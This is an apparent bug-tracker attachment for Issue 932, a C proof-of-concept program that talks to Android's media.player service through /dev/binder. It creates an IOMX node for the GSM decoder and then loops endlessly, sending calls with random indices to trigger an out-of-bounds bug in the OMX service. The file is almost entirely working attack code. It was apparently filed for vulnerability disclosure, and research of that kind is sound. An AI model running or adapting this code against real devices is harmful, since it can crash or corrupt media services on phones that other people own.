New issue
Advanced search Search tips

Issue 932 attachment: android_iomx_enable_native_buffers.c (2.3 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <unistd.h>

#include "binder.h"

int main(int argc, char** argv) {
struct binder_state* bs;
struct binder_io msg;
struct binder_io reply;
char data[1024];
uint32_t player_handle = 0;
uint32_t iomx_handle = 0;
uint32_t result = 0;
uint32_t node_id = 0;

fprintf(stderr, "--- binder OMX index-out-of-bounds ---\n");

fprintf(stderr, "[0] opening /dev/binder\n");
bs = binder_open(0x400000);

fprintf(stderr, "[0] looking up media.player\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "android.os.IServiceManager");
bio_put_string16_x(&msg, "media.player");
binder_call(bs, &msg, &reply, 0, 1);
player_handle = bio_get_ref(&reply);
fprintf(stderr, "[0] got handle %08x\n", player_handle);
binder_acquire(bs, player_handle);
binder_done(bs, &msg, &reply);

fprintf(stderr, "[0] creating an OMX\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "android.media.IMediaPlayerService");
binder_call(bs, &msg, &reply, player_handle, 4);
iomx_handle = bio_get_ref(&reply);
fprintf(stderr, "[0] got handle %08x\n", iomx_handle);
binder_acquire(bs, iomx_handle);
binder_done(bs, &msg, &reply);

fprintf(stderr, "[0] creating node\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "android.hardware.IOMX");
bio_put_cstring(&msg, "OMX.google.gsm.decoder");
bio_put_obj(&msg, (void*)0x41414141);
binder_call(bs, &msg, &reply, iomx_handle, 4);
result = bio_get_uint32(&reply);
if (!result) {
node_id = bio_get_uint32(&reply);
fprintf(stderr, "[0] got node %08x\n", node_id);
}
binder_done(bs, &msg, &reply);

srand(time(NULL));
while (1) {
fprintf(stderr, "[0] triggering bug\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "android.hardware.IOMX");
bio_put_uint32(&msg, node_id);
bio_put_uint32(&msg, rand());
bio_put_uint32(&msg, 0);
bio_put_uint32(&msg, 0);
if (0 > binder_call(bs, &msg, &reply, iomx_handle, 12)) {
break;
}
binder_done(bs, &msg, &reply);
}

return 0;
}